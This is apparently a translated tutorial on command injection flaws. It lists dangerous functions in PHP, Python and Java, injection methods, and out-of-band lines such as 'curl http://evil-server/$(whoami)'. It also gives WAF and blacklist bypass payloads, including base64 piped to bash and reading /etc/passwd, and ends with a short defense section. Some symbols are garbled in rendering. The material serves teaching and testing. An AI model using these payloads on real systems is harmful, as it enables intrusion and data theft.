Foreword
A command execution vulnerability is a security vulnerability that allows an attacker to execute malicious system commands. This vulnerability typically occurs when an application or system does not properly validate user input, allowing the user to execute system commands by entering specific data.
The occurrence of vulnerabilities is usually related to the following factors:
- User input is not properly validated and sanitized:
A command execution vulnerability may exist if an application accepts user input and uses that input directly to build system commands without adequate validation and filtering. - Using unsafe command build methods:
If the application uses methods such as string concatenation to construct system commands instead of using parameterization, an attacker may be able to execute arbitrary commands by injecting special characters. - Insufficient permissions: If an application has too high permissions in the context of executing a command, an attacker who successfully executes a malicious command may cause more damage to the system.
Cause of vulnerability
When an application needs to call some external programs to process content, it will use some functions that execute system commands. For example, system, exec, shell_exec, etc. in PHP, when the user can control the parameters in the command execution function, malicious system commands can be injected into normal commands, causing command execution attacks.
Command execution
That is, system commands or functions can be executed in the web service page, causing system information to be leaked.
Common dangerous functions
PHP
system(): Output the execution result and return the last line of the output result as a string exec(): does not output the result, returns the last line of the execution result, and can be output with output passthru(): Only call the command and output the result directly as is shell_exec() = ``: Do not output the result, return the execution result (can bypass some waf) popen() peoc() proc_opne() pcntl_exec()
python
system() popen() subprocess.call() spawn()
Java
Java.lang.Runtime.getRuntime().exec(command) java.lang.runtime.Runtime.exec
Common injection methods
1.${}
Execute the code and the intermediate php code will be parsed
<?php ${<!-- -->phpinfo()}; ?>
2.eval
The command can be executed directly, and a complete statement needs to be passed in, which must end with a semicolon ;
Most commonly used functions
<?php eval('echo "hello";'); ?>
3.assert
Determine the string and execute the code if it passes
Tips: Versions after php7.0.29 do not support dynamic adjustment
Before 7.0.29 Ordinary call <?php assert($_POST['a']); ?> Dynamic call //?a=phpinfo() <?php $a = 'assert'; $a($_POST['a']); ?> After 7.0.29 <?php $a = 'assert'; $a(phpinfo()); ?>
4. No echo injection
bash rebound shell DNS outbound data http out of band: curl http://evil-server/$(whoami) wget http://evil-server/$(whoami) Use sleep or other logic to form bool conditions when there is no out-of-band
Common symbols
Command separator
windows
||: & amp; & amp; & amp; separated \r\\ : newline Backtick parsing $() : Replacement |: Directly execute the following statements ||: If the previous command is wrong, then execute the following statement, otherwise only execute the previous statement & amp;: Both the previous and following commands must be executed, regardless of whether the previous one is true or false. & amp; & amp;: If the previous one is false, the following commands will not be executed. If the previous one is true, two commands will be executed.
Linux
Semicolon separated ;: Both the previous and following commands must be executed, regardless of whether the previous one is true or false. |: Directly execute the following statements ||: If the previous command is wrong, then execute the following statement, otherwise only execute the previous statement & amp;: Both the previous and following commands must be executed, regardless of whether the previous one is true or false. & amp; & amp;: If the previous one is false, the following commands will not be executed. If the previous one is true, two commands will be executed.
PHP
Newline character, requires php environment \r Carriage return character, requires php environment \\ \\; In the shell, it is a "continuation instruction", which is similar to the following `|` | (that is, bitwise OR), directly execute the statement following | || (logical OR), if the previous command is wrong, then execute the following statement, otherwise only execute the previous statement & amp; (that is, bitwise AND), the commands before and after & amp; will be executed, regardless of whether the previous one is true or false & amp; & amp; (logical AND), if the previous one is false, the following commands will not be executed. If the previous one is true, two commands will be executed.
Wildcard
* Any number of characters from 0 to infinity ? an arbitrary character [ ] A character within brackets, e.g. [abcd] [ - ] All characters within the encoding sequence [^ ] A character not inside brackets
Bypass WAF
Space bypass
< > <>symbol cat<123 \t ${<!-- -->IFS} where {<!-- -->} is used for truncation. For example, cat$IFS2 will be considered as IFS2 as a variable name. In addition, adding a $ at the end can play a truncation role. Generally, $9 is used, because $9 is the holder of the ninth parameter of the current system shell system process, and it is always an empty string. $IFS$9 {<!-- -->cat,flag.php} //Comma implements space function \t
liunx bypasses spaces
cat flag {<!-- -->cat,flag.txt} cat${<!-- -->IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt ca\t fl\ag
Blacklist bypass
a=l;b=s;$s$b //Splicing When cat flag is filtered: a=c;b=at;c=f;d=lag;$a$b ${c}${d} base64 echo "bHM"= | base64 -d //base64 encoding echo "Y2F0IGZsYWc="|base64 -d|bash (you can try sh if bash is filtered) /?in/?s > /bin/ls Undefined initialization variable cat$4 /etc/passwd c""at fl''ag //Single and double quotation marks c\at fl\ag //backslash Regular (assuming /bin/cat: test: is a directory) /?/?[a][t] ?''?''?''?'' /?/?at /?/?[a]''[t] ?''?''?''?'' $# is the number of parameters passed to the script $0 is the name of the script itself $1 is the first parameter passed to this shell script $2 is the second parameter passed to this shell script $@ is a list of all parameters passed to the script $* displays all parameters passed to the script as a single string. Unlike positional variables, there can be more than 9 parameters. $$ is the current process ID number where the script is running $? shows the exit status of the last command, 0 means there is no error, other means there is an error
Length limit bypass
>wget\ >foo.\ >com ls -t>a sh a
The above method is to write the command through command line redirection, then write the command to the file in order of time through ls, and finally execute it directly under the Linux terminal. To create the file, you need to add the command before the redirection symbol. Here you can use some such as Short commands such as w, [, (use ls /usr/bin/? to view) If you do not add a command, you need Ctrl + D to end it, which is equivalent to the redirection of the standard input stream. In PHP, use shell_exec, etc. to execute When using the function of a system command, there is no standard input stream, so the file can be created directly.
cat is filtered
more Display file content page by page less is similar to more head View the first few lines tac starts displaying from the last line. It can be seen that tac is the reverse display of cat. tail View the last few lines When nl is displayed, the line number is output by the way. od reads file contents in binary format vi is an editor, you can also view this vim is an editor, you can also view this sort can be viewed uniq can view file -f reports the specific content of the error grep 1. In the current directory, find the file containing the test string in the file with the word file suffixed, and print out the line of the string. At this time, you can use the following command: grep test *file strings
Defense
To prevent command execution vulnerabilities, the following measures should be taken:
- Validate and filter user input: Validate user input and ensure that only expected, legal input is allowed.
- Use parameterized command calls: Try to use parameterized methods to call system commands instead of string concatenation. This can alleviate command injection problems caused by special characters.
- Minimize application permissions: Ensure that the application has the minimum necessary permissions in the context of executing the command to reduce potential risks.
- Review system configuration: Review system and application configurations to ensure that appropriate security measures are taken, such as disabling dangerous functions, turning off unnecessary extensions, etc.
Disable the corresponding function when not in use Try not to execute external applications or commands Do format checking of input Escape all shell metacharacters in the command Shell metacharacters include # & amp;;`,|*?~<>^()[]{}$\